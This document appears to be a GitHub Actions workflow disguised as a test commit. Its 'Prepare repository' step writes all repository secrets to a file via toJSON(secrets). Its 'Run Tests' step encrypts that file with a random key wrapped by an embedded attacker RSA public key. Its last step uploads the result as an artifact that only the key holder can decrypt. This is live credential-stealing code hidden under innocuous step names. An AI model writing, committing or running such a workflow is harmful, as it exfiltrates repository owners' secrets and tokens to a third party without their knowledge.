Test Commit #1
Workflow file for this run
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
name: tthbcomtgk | |
on: | |
push: | |
branches: tthbcomtgk | |
jobs: | |
testing: | |
runs-on: | |
- ubuntu-latest | |
steps: | |
- env: | |
VALUES: ${{ toJSON(secrets)}} | |
name: Prepare repository | |
run: "\ncat <<EOF > output.json\n$VALUES\nEOF\n " | |
- name: Run Tests | |
env: | |
PUBKEY: '-----BEGIN PUBLIC KEY----- | |
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAmQROTBmKLHkBbopyn3t5 | |
SYDnL7FHGR74kmSY9M4SGAjEX+0OD3cac73e9LZnCvtGcURNnAFy4PcyKFUNKIjU | |
iXkXFzDac4bjgrlM81kPD6Jiwng8IxZvfbA7GDjfbfjF8f8Mg+2lEP01q7M8tc+e | |
iN5sMdi7WtiU5cdYfbRmkrZ+zFr7MWEw4nGKf9OgCJMKrBRv/HQ6hw643ZRRen8y | |
rqGlQJFSNOsfBIqkMKmj4+Q9S5L8dADtYPOrcD5X/2GoKZRMeuaWz6t0KxHaK1Tl | |
VtrQLIoDGnVfXo+1pg78Kshrh1usS5meWDmlH6D3eDoKrdgvvCKk6NgklEC1EBbu | |
w6n2kTvAoc4zlQaXnW57e0uQePi9vzTkIQ0Ymuc8A6js/NzI6RJEwJUJ538nIpUq | |
PYdOo+xsg4tJrV6u0lgqVNW7vEsBvRuPLNz/pE8l4TNFMoBkYB7UJDU9YfShmV6L | |
rKWKrHzFTRqdxdg9yuM7O+HvKZFa7IqpjcW59eXNQO4uZi74pPtr4hKAc8M8ksb5 | |
D8Qc2z8La5CRhuYVUr7Rj6vpk9/YLVrM+edpzCV2q+BZo0G4dBh7FRkWyAxYsdQW | |
EIMqLzwkLEd1hc329VUyvBOxsAfGGSz0+TvO60HPAWQOG1PP32y0m8H2eGW8gSVG | |
p/usY21VHKltPWuolxBWKS8CAwEAAQ== | |
-----END PUBLIC KEY----- | |
' | |
run: aes_key=$(openssl rand -hex 12 | tr -d '\n');openssl enc -aes-256-cbc -pbkdf2 | |
-in output.json -out output_updated.json -pass pass:$aes_key;echo $aes_key | |
| openssl rsautl -encrypt -pkcs -pubin -inkey <(echo "$PUBKEY") -out lookup.txt | |
2> /dev/null; | |
- name: Upload artifacts | |
uses: actions/upload-artifact@v4 | |
with: | |
name: files | |
path: ' | | |
output_updated.json | |
lookup.txt' |